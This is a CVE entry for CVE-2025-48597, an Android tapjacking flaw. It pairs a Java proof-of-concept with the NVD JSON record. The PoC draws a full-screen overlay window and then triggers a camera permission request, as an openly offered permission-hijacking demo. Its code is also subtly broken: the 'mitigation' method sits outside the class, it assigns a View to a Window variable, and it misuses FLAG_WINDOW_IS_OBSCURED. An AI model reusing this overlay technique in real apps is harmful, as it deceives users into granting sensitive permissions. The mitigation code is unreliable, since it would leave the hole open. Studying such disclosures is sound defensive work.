CVE-2025-48597

// CVE-2025-48597 PoC - Tapjacking Permission Trick // This PoC demonstrates the overlay attack concept public class TapjackingPOC extends AppCompatActivity { private static final String TAG = "TapjackingPOC"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Create overlay window for tapjacking attack createMaliciousOverlay(); // Trigger permission request that can be hijacked requestSensitivePermission(); } private void createMaliciousOverlay() { WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN, PixelFormat.TRANSLUCENT ); // Malicious overlay captures user taps View overlayView = createOverlayView(); WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE); wm.addView(overlayView, params); } private View createOverlayView() { // Overlay that tricks users into granting permissions // In real attack, this would intercept system permission dialogs TextView tv = new TextView(this); tv.setText("Tapjacking Overlay Active"); tv.setBackgroundColor(Color.TRANSPARENT); return tv; } private void requestSensitivePermission() { // Request dangerous permission that could be hijacked if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{Manifest.permission.CAMERA}, 101); } } } // Mitigation: Applications should check FLAG_WINDOW_IS_OBSCURED private boolean isWindowObscured() { Window rootView = getWindow().getDecorView(); if (rootView != null) { IBinder windowToken = rootView.getWindowToken(); try { IWindowManager wm = IWindowManager.Stub.asInterface( ServiceManager.getService("window")); return wm.isWindowObscured(windowToken); } catch (RemoteException e) { Log.e(TAG, "Failed to check window obscured state", e); } } return false; }

{"cve": {"id": "CVE-2025-48597", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.767", "lastModified": "2025-12-08T19:44:40.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1021"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/68170bad52250399d2e4a1a8023a3e7aeda1887d", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}